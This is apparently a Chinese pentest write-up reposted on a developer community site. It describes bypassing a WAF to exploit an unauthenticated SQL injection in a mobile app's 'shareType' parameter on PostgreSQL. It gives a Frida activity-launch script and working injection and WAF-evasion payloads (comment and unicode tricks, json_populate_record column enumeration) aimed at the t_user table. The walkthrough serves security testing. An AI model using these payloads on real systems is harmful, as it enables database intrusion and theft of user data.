首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >记一次postgres注入绕过waf

记一次postgres注入绕过waf

原创
作者头像
亿人安全
发布2025-11-03 10:59:26
发布2025-11-03 10:59:26
1040
举报
文章被收录于专栏:红蓝对抗红蓝对抗

原文首发在:先知社区

https://xz.aliyun.com/news/19004

在授权测试某 APP 时,发现一处未授权 sql 注入,但是存在 waf,于是开始了绕 waf 之旅。

APP 非开放注册,安装后需使用 OA 用户名、邮箱密码进行登录。但是俺没有测试账号,只能先简单装包看看数据了。

图片
图片

数据包也是加密的,暂时不晓得加密方式与解密密钥。因为 APP 打开后只有登录口,所以只能考虑从 APP 安装包进行分析了。使用 MT 管理器提取安装包,查看基础信息……

图片
图片

简直就是屋漏偏逢连夜雨,这加固……,暂时没招了。看看AndroidManifest.xml吧,AndroidManifest.xml中定义了很多activity

图片
图片

AndroidManifest.xml 是 Android 应用的元数据与运行约束声明文件。系统在安装与启动阶段据此完成包识别、权限授予与组件装配。文件中定义应用的包名、版本信息、最小与目标 SDK、调试与备份策略、所需硬件与特性(uses-feature)、外部查询范围(queries),以及四大组件的清单:activityservicereceiverprovider。权限相关声明通过 uses-permission 与组件级 permission 系列属性实现;安全策略如 networkSecurityConfig 通常挂载在 application 节点。

常见关键配置用于限定可见性、入口与任务行为。intent-filter 用于匹配可接收的意图类型并决定是否成为入口(包含 MAIN/LAUNCHER 的 activity 即为启动项);exported 明确组件是否对外可访问(Android 12 起必须显式指定);readPermission/writePermission 与 provider 的 authoritiesgrantUriPermissions 共同约束数据访问;launchMode 与 taskAffinity 控制任务栈与实例化策略;process 指定组件运行进程以实现隔离;debuggable 与 allowBackup 影响调试面与数据备份面暴露面。

查了一下似乎没有测试页面,让 AI 帮忙写了一个脚本,手动跳转到指定的activity,看看能否触发一些请求,再测测有无漏洞。

代码语言:javascript
复制
// 调用示例:
// jumpToActivity("com.example.app.ui.DebugActivity");
// jumpToActivity(".ui.DebugActivity");      // 自动补全包名
// jumpToActivity("com.example.app.ui.DetailActivity", { item_id: "A1001", fromPush: true });

function jumpToActivity(className, extras) {
    Java.perform(function () {
        try {
            var ActivityThread = Java.use('android.app.ActivityThread');
            var app = ActivityThread.currentApplication();
            if (app == null) {
                console.log('currentApplication() 返回 null,进程可能还没初始化完成。');
                return;
            }
            var context = app.getApplicationContext();

            // 自动补全 ".XXX" 这种相对类名
            if (className.startsWith(".")) {
                className = context.getPackageName() + className;
            }

            var Intent = Java.use('android.content.Intent');
            var intent = Intent.$new();
            intent.setClassName(context, className);

            // 使用 Application Context 启动必须加 NEW_TASK
            var FLAG_ACTIVITY_NEW_TASK = 0x10000000;
            intent.addFlags(FLAG_ACTIVITY_NEW_TASK);

            // 可选:添加少量常用 extras(按类型挑重载)
            if (extras) {
                var putExtraStr = intent.putExtra.overload('java.lang.String', 'java.lang.String');
                var putExtraBool = intent.putExtra.overload('java.lang.String', 'boolean');
                var putExtraInt  = intent.putExtra.overload('java.lang.String', 'int');
                Object.keys(extras).forEach(function (k) {
                    var v = extras[k];
                    if (typeof v === 'string')      putExtraStr.call(intent, k, v);
                    else if (typeof v === 'boolean') putExtraBool.call(intent, k, v);
                    else if (Number.isInteger(v))    putExtraInt.call(intent, k, v);
                    else                              console.log('跳过不支持的 extra 类型:' + k + ' = ' + v);
                });
            }

            // 切到主线程更稳妥
            Java.scheduleOnMainThread(function () {
                try {
                    context.startActivity(intent);
                    console.log('已启动 Activity: ' + className);
                } catch (e) {
                    console.log('startActivity 失败: ' + e);
                }
            });
        } catch (e) {
            console.log('jumpToActivity 异常: ' + e);
        }
    });
}

通过上述脚本,可在 frida 中调用 jumpToActivity函数实现 Activity跳转。

图片
图片

在进行Activity跳转时发现,存在一个“分享”的功能,通过不同的分享渠道,可邀请用户下载 APP 进行使用。

图片
图片

此时,触发查询应用下载地址与二维码的数据请求。请求参数如下:

代码语言:javascript
复制
{"shareType":"3"}

当参数为 4时查询数据为空,参数为3时正常查询出数据,参数为4-1时查询数据与参数为3时一致,初步判断存在 sql 注入。

图片
图片

于是开始 sql 注入的常规操作,使用order by进行查询结果列数获取时,发现存在 waf,触发拦截时直接返回 502错误,多次触发会封禁 IP。

图片
图片

通过不断对order by字符串内容进行增删改,以及 Unicode 编码等操作后,测试效果参考如下:

  • {"shareType":"4 orderby 1 -- "} - 不拦截,查询失败
  • {"shareType":"4 order/**/by 1 -- "} - 拦截,502 错误
  • {"shareType":"4 order/*123*/by 1 -- "} - 拦截,502 错误
  • {"shareType":"4 order/*"*/by 1 -- "} - 不拦截,查询成功

通过order by获取列数后,开始获取数据库类型及当前数据库。判断数据库类型可以通过不同的查询语法进行判断,当数据查询失败时,可以大致判定当前数据库不支持该语法。不同数据库部分判断依据可参考如下:

  • PostgreSQL
    • SELECT version(); // 返回包含 "PostgreSQL" 字样的字符串。
    • SELECT current_database() // 支持 current_database() 函数。
  • 达梦数据库
    • SELECT @@VERSION; // 支持 @@VERSION(类似 SQL Server)
    • SELECT * FROM V$VERSION; // 存在 V$VERSION 系统视图(Oracle 风格), 返回结果中包含 “Dameng” 或 “DM Database”
  • GaussDB
    • SELECT VERSION(); // 返回包含 “GaussDB” 字样
    • SELECT * FROM PG_VERSION; // 存在 PG_VERSION 表(兼容 PostgreSQL)。
    • SHOW VERSION; // 部分版本支持 SHOW VERSION;。

国家在大力推进数据库等产品的信创改造,所以信创类的数据库在国内的应用也是越来越多。在测试过程中发现查询版本因为关键词会直接被拦截。于是尝试通过函数是否存在来进行判断。

经测试,目标数据库大概率为PostgreSQL

测试语句:{"shareType":"3 union/*"*/select current_database(),'2' -- "}

返回信息:

代码语言:javascript
复制
"data": {
  "QRInfo": {
    "database_name": "2",
    "download_QR_code": "/path/to/xxx.png",
    "download_url": "http://xxx/123456"
  },
  "status": 1,
  "msg": "APP下载地址的二维码信息查询成功!"
},

下一步进行数据库中数据表的枚举,pgsql 查询数据表的方式如下:

  • 查询当前用户的可见表(不含系统表)
代码语言:javascript
复制
SELECT tablename
FROM pg_tables
WHERE schemaname = 'public';
  • 查看所有模式下的用户表(排除系统表)
代码语言:javascript
复制
SELECT tablename, schemaname
FROM pg_tables
WHERE schemaname NOT IN ('information_schema', 'pg_catalog');

适用于多模式(schema)环境,过滤掉系统表。

  • 通过information_schema.tables
代码语言:javascript
复制
SELECT table_name
FROM information_schema.tables
WHERE table_schema = 'public'
  AND table_type = 'BASE TABLE';
  • 查看当前数据库中所有表(含系统表)
代码语言:javascript
复制
SELECT tablename, schemaname
FROM pg_tables;

这里选取了较短的 SELECT tablename FROM pg_tables;进行查询,人工过滤具有价值的数据表。形成测试语句:

代码语言:javascript
复制
{"shareType":"3 union/*\u0022*/\u0073elect tablename,'2' FROM pg_tables -- "}

然后,这里又被拦截了,此时将 '2'换成了 '',又不拦截了……, 不确定是哪里的问题,奇奇怪怪。

此时便获取到了很多数据表。

图片
图片

通过逐一分析,判断用户是存在t_user数据表中,pgsql 查询数据列可通过如下方式:

  • 使用 information_schema.columns(标准SQL,跨库兼容)
代码语言:javascript
复制
SELECT 
    column_name,
    data_type,
    is_nullable,
    column_default
FROM information_schema.columns
WHERE table_name = '你的表名'
  AND table_schema = 'public'  -- 如果表不在 public 模式,请替换为实际 schema 名
ORDER BY ordinal_position;
  • 使用 PostgreSQL 系统目录表 pg_attribute + pg_class
代码语言:javascript
复制
SELECT
    a.attname AS column_name,
    pg_catalog.format_type(a.atttypid, a.atttypmod) AS data_type,
    CASE WHEN a.attnotnull THEN 'NO' ELSE 'YES' END AS is_nullable,
    pg_get_expr(ad.adbin, ad.adrelid) AS column_default
FROM pg_attribute a
LEFT JOIN pg_attrdef ad ON a.attrelid = ad.adrelid AND a.attnum = ad.adnum
WHERE a.attrelid = '你的表名'::regclass
  AND a.attnum > 0
  AND NOT a.attisdropped
ORDER BY a.attnum;
  • 简约版
代码语言:javascript
复制
SELECT column_name
FROM information_schema.columns
WHERE table_name = 'users'
  AND table_schema = 'public';

在实际测试中发现,waf在对information_schema.columns格式拦截的比较严格(也可能是我测的还不够)。

于是我询问 AI 能否给一些“有没有简短的sql语句获取列名,最好是那种让人眼前一亮的”。AI 给了我如下的测试语句:

代码语言:javascript
复制
SELECT json_object_keys(to_json(json_populate_record(null::your_table, '{}'::json))) AS column_name;

AI 推荐的理由如下:

  • 超短 + 高级函数组合:用到了json_populate_record+to_json+json_object_keys,像变魔术一样从空记录“榨”出结构。
  • 无需查系统表/视图:不依赖information_schemapg_attribute,纯靠类型推导。
  • 自动适应表结构:哪怕你加了新列、改了类型,它永远返回当前列名。
  • PostgreSQL 特色炫技写法😎 —— 同事看了会沉默,领导看了会点赞。

本地测试效果如下:

图片
图片

但是在测试的时候,仍然没有一次性成功获取列名,分段测试发现,waf{}进行了拦截,当{}前后同时出现任意字符时进行拦截。不错此时{}以字符串的形式进行出现就方便的多了。可使用如下方式进行替换。

  • 用 (null::users).* + 列转行(需要知道至少一个列名)
代码语言:javascript
复制
SELECT key AS column_name
FROM json_each_text(row_to_json(r))
FROM (SELECT (null::users).*) r;
  • 用 hstore(如果启用了 hstore 扩展)
代码语言:javascript
复制
SELECT skeys(hstore(null::users)) AS column_name;

// hstore 是 PostgreSQL 的一个扩展,用于存储键值对。
// hstore(null::users) 会把空记录转成 hstore:"id"=>NULL, "name"=>NULL, ...
// skeys(...) 提取所有键 → 列名
  • 使用 row_to_json + 子查询
代码语言:javascript
复制
SELECT key AS column_name
FROM json_each_text(row_to_json(r))
FROM (SELECT (null::users).*) r;
  • 使用chr()format() + %sconcat() 、|| 进行字符转换
代码语言:javascript
复制
SELECT json_object_keys(
    to_json(
        json_populate_record(
            null::users,
            (concat(chr(123), chr(125)))::json
        )
    )
) AS column_name;

最终,通过如下 payload 绕过 waf 查询到列名。

代码语言:javascript
复制
{"shareType":"4 union/*\u0022*/\u0073elect json_object_keys(to_json(json_populate_record(null::t_user,json_build_object()))),'\\' -- "}
  • null::record: 构造一个“空记录”(empty record),类型是 PostgreSQL 的通用记录类型 record
  • row_to_json(null::record): 把一个行(row)转成 JSON 对象
  • json_populate_record(null::users, ...) : 用 JSON 数据“填充”一个指定类型的记录(这里是 users 表结构)
  • to_json(...): 把一个记录(record)转成 JSON 对象
  • json_object_keys(...): 提取 JSON 对象的所有键(key),每个键作为一行返回。

至此,获取到了列名,也可以直接查询数据了。over。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档